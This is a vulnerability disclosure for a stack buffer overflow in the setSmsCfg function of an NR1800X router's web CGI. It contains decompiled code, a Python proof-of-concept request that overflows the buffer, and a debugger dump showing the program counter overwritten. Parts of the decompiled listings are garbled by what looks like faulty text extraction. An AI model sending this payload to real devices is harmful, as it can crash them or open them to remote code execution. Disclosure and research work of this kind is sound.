NR1800X - bof - setSmsCfg

Hi, we found a post-authentication stack buffer overflow at NR1800X (Firmware version V9.1.0u.6279_B20210910), and contact you at the first time.

In function **setSmsCfg** of the file **/cgi-bin/cstecgi.cgi**, the size of **text** is not checked, and overflow buffer v11 via strcpy in replace_string.

```
char v11[1028]; // [sp+480h] [-404h] BYREF
12
13
14
      V8[1] = 0;
      \vee 8[2] = 0;
15
      \sqrt{8[3]} = 0;
16
17
      \vee 8[4] = 0;
18
      \sqrt{8[5]} = 0;
      v8[6] = 0;
19
     \vee 8[7] = 0;
20
21
      memset(v9, 0, sizeof(v9));
22 v2 = websGetVar(a1, "text", "");

23 v3 = websGetVar(a1, "phoneNumber", "");

24 v4 = websGetVar(a1, "outboxDate", "");

25 v5 = websGetVar(a1, "outboxTime", "");

26 memorat(v10, 0, circles)
26 memset(v10, 0, sizeof(v10));
       memset(v11, 0, 1024);
28 replace_string((int)v11, (int)v2, (int)"+", (int)"%20");
```

```
1 int __fastcall replace_string(int a1, int a2, int a3, int a4)
 3
    int v8; // $v0
    int v9; // $v0
    int v10; // $s0
 6
7
    while (1)
 8
      v9 = strstr(a2, a3);
      v10 = v9;
10
     if (!v9)
11
12
        break;
      strncpy(a1, a2, v9 - a2);
*(_BYTE *)(a1 + v10 - a2) = 0;
13
14
15
     strcat(a1, a4);
      v8 = strlen(a3);
16
      strcat(a1, v10 + v8);
17
18
      strcpy(a2, a1);
19
20
   return strcpy(a1, a2);
```

```
import requests url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi" cookie =
{"Cookie":"uid=1234"} data = {'topicurl' : "setSmsCfg", "text" : "a"*2000}
response = requests.post(url, cookies=cookie, json=data) print(response.text)
print(response)
```

The PC register can be hijacked, which means it can result in RCE.

```
Continuing.
Thread 2.1 "cstecgi.cgi" received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 VO
      0x1
 V٦
      0x1
 A0
      0x1
 A1
      0x1
 A2
      0x1
 A3
      0x0
 T0

◆ 0x6c5f5f00

 T1
                ← nop
 T2
     0xc91
 T3
      0xffffffff
 T4
      0xf0000000
 T5
 T6
     0x3a22656d ('me":')
 T7
     0x39
 T8
 T9
                ← lui
                          $gp, 2
 SO 0x61616161 ('aaaa')
 S1 0x61616161 ('aaaa')
     0x61616161 ('aaaa')
 S2
     0x61616161 ('aaaa')
 S3
 S4 0x61616161 ('aaaa')
 S5 0x61616161 ('aaaa')
 S6 0x61616161 ('aaaa')
 S7 0x61616161 ('aaaa')
 S8 0x77a768b4
    <u>0x7fb190f8</u> ← 0x61616161 ('aaaa')
 FP
    0x7fb190f8 ← 0x61616161 ('aaaa')
 SP
   0x61616161 ('aaaa')
 PC
```